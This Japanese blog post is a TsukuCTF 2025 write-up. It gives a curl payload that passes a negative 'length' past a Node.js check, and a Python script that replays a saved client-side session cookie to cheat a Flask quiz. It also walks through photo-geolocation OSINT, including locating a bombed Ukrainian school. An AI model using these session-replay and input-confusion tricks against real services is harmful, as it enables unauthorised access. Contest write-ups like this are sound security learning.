st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏 Please feel free to ask questions in English if that's more comfortable for you👍

TsukuCTF 2025 writeup

5/3 - 5/4という日程で開催された。BunkyoWesternsのSatoki*1として参加して2位。OSINT以外も以前と比べてさらに色々出るようになっていてよかったけれども、問題数が少なくなっていてちょっと悲しい。でも楽しかった。

1点以上を得点しているチームに限っても882チームということで、大変多くのチームが参加していた。Midnight Sun CTFの繰り返す延期やbi0sCTFの延期のために今週は開催されているCTFが少なく、そのために多くの海外チームが流入していたのかな。

[OSINT] hidden_wpathが解けず悲しい。/wp-admin/ でエラーが出ることに気づきつつも 404-solution がいることをスルーしていたり、プラグインのenumerationを思いつきつつもしていなかったりとなかなかやらかしている。

ほかのメンバーのwriteup:


[Web 100] len_len (451 solves)

"length".length is 6 ?

(問題サーバのURL)

添付ファイル: len_len.zip

Node.jsで動くコードが与えられている。重要な箇所は次の通り。配列をJSONで受け取り、JSONの長さが10以上、かつそれをパースして得られた配列の長さが0未満であればフラグがもらえる。

配列の長さが負数…? と思ってしまうけれども、実のところ array とは勝手にこのコードが変数名として呼んでいるだけで、Array.isArray 等で配列であるかどうかはチェックされていない。length というプロパティを持つオブジェクトを渡せばそれでよい。

function chall(str = "[1, 2, 3]") {
  const sanitized = str.replaceAll(" ", "");
  if (sanitized.length < 10) {
    return `error: no flag for you. sanitized string is ${sanitized}, length is ${sanitized.length.toString()}`;
  }
  const array = JSON.parse(sanitized);
  if (array.length < 0) {
    // hmm...??
    return FLAG;
  }
  return `error: no flag for you. array length is too long -> ${array.length}`;
}

length-1 を仕込んだオブジェクトを渡すとフラグが得られた。

$ curl http://(省略) -d 'array={"length":-1}'
TsukuCTF25{l4n_l1n_lun_l4n_l0n}
TsukuCTF25{l4n_l1n_lun_l4n_l0n}

[Web 100] flash (170 solves)

3, 2, 1, pop!

(問題サーバのURL)

添付ファイル: flash.zip

Flaskで作られたアプリだ。フラッシュ暗算で正解できるとフラグがもらえるけれども、途中から数値が表示されなくなる。おいおい。

クライアントセッションで進捗やそのセッションでの答えが管理されており、また回答するとそのセッションが破棄されるような仕組みも実装されていない(Cookieを消すだけだ)。ありがたいことに、不正解でも正解の値を教えてもらえる。一度わざと誤った答えを提出して正解を把握し、それから進捗を回答前に巻き戻せばよいだろう。

Pythonで実装する。

import re
import httpx

with httpx.Client(base_url='http://(省略)/') as client:
    client.get('/')
    client.get('/flash')
    for _ in range(10):
        client.get('/flash')

    # セッションを一旦保存
    r = client.get('/result')
    cookies = r.cookies
    # わざとミスって正解を得る
    token = re.findall(r'[0-9a-f]{32}', r.text)[0]
    r = client.post('/result', data={
        'token': token,
        'answer': 0
    })
    answer = re.findall(r'正解: (\d+)', r.text)[0]

    # ズルして得た正解を投げる
    client.cookies = cookies
    r = client.get('/result')
    cookies = r.cookies
    token = re.findall(r'[0-9a-f]{32}', r.text)[0]
    r = client.post('/result', data={
        'token': token,
        'answer': answer
    })
    print(r.text)

実行するとフラグが得られた。

$ python3 s.py 
…
      <h1 class="text-success">正解!</h1>
      <p><code>TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}</code></p>
…

本当はPath Traversalをする問題だったらしい。出てくる数値はLCGで生成されており、シード値は static/seed.txt に格納されているhexとセッションのデータとを組み合わせて生成される。このファイルは static ということで外部からもアクセスできるし、そこから出てくる数値を当てるという感じだったのかな。

TsukuCTF25{Tr4d1on4l_P4th_Trav3rs4l}

[OSINT 100] Casca (366 solves)

海が綺麗なこの日本の街は、かつてポルトガルのリゾート地との交流がありました。 この写真のすぐ右側にはその記念碑が置かれています。記念碑に書かれている「式典の開催日」を答えてください。

Format: TsukuCTF25{YYYY/MM/DD}

添付ファイル: casca.jpg

次のような写真が与えられる。Googleレンズに投げると、熱海のジャカランダ遊歩道だとわかる。TsukuCTFで熱海が出てくるのは何度目だろうか。

「ジャカランダ遊歩道 式典」等で検索しつつ関連するページを探していると、次のような記述を見つけた。

東海岸町のお宮緑地が「ジャカランダのプロムナード(散歩道)」整備が完了し、2014年6月6日、同地で完成式典が行われました。

https://www.ataminews.gr.jp/spot/335

TsukuCTF25{2014/06/06}

[OSINT 100] curve (384 solves)

これは日本の有名な場所の一部です。あなたはこの写真の違和感に気づけますか? フラグはこの場所のWebサイトのドメインです。

例: TsukuCTF25{example.com}

添付ファイル: curve.jpg

次のような写真が与えられる。Googleレンズに投げると、「スパイラルエスカレーター」という気になる言葉が出てきた。

最初に出てきた記事に登場する横浜ランドマークタワーが当たりだった。

TsukuCTF25{www.yokohama-landmark.jp}

[OSINT 100] schnee (301 solves)

素敵な雪山に辿り着いた!スノーボードをレンタルをして、いざ滑走! フラグフォーマットは写真の場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。

例: TsukuCTF25{12.345_123.456}

添付ファイル: schnee.jpg

次のような写真が与えられる。どう見ても日本ではない。Googleレンズに投げると、これはスイスのグリンデルヴァルトではないかと推測してくれる。

次の文字情報が気になった。下部にドメイン名が書かれているように見えるが読めず、かろうじて .ch というTLDだけは読める。スイスだ。赤い文字は Buri Sport と読めるので検索してみると、まさに同じロゴがたくさんヒットする。

店舗をひとつひとつGoogleマップで見ていくと、一致する光景が見つかった。

TsukuCTF25{46.624_8.040}

[OSINT 100] destroyed (204 solves)

このTelegramの投稿の写真に写っている学校を特定してください。 フラグフォーマットはその場所の座標の小数点第4位を四捨五入して、小数第3位までをTsukuCTF25{緯度_経度}の形式で記載してください。

例: TsukuCTF25{12.345_123.456}

注意: この問題を解く過程で、戦争に関わる直接的な画像が表示される場合があります。

投稿のテキストをGoogle翻訳に投げる。гімназію Степненської громади という部分が地名と建物に関連する情報で、英語の Stepno community gymnasium に対応するっぽい。Степненськоїで検索すると、これはザポリージャの村っぽいとわかる。

Степненської гімназію 等で検索していると、この学校であろうWebサイトが見つかる。Facebookページもある。引き続き検索していると、関連する様々な情報が載っているページがあった。Україна, 70432, Запорізька обл., село Степне, Запорізький район, вулиця Першотравнева, будинок 50 という住所も書かれている。

Googleマップで住所を検索すると、それっぽい場所が出てくる。疑いつつ投げると通った。

TsukuCTF25{47.798_35.306}

提出回数の制限がなかったので、解ければOKという感じでまったく裏取りをせずに投げたら解けたという感じだった。

*1:このためにドメイン名を取得し、メールを受信できるよう設定した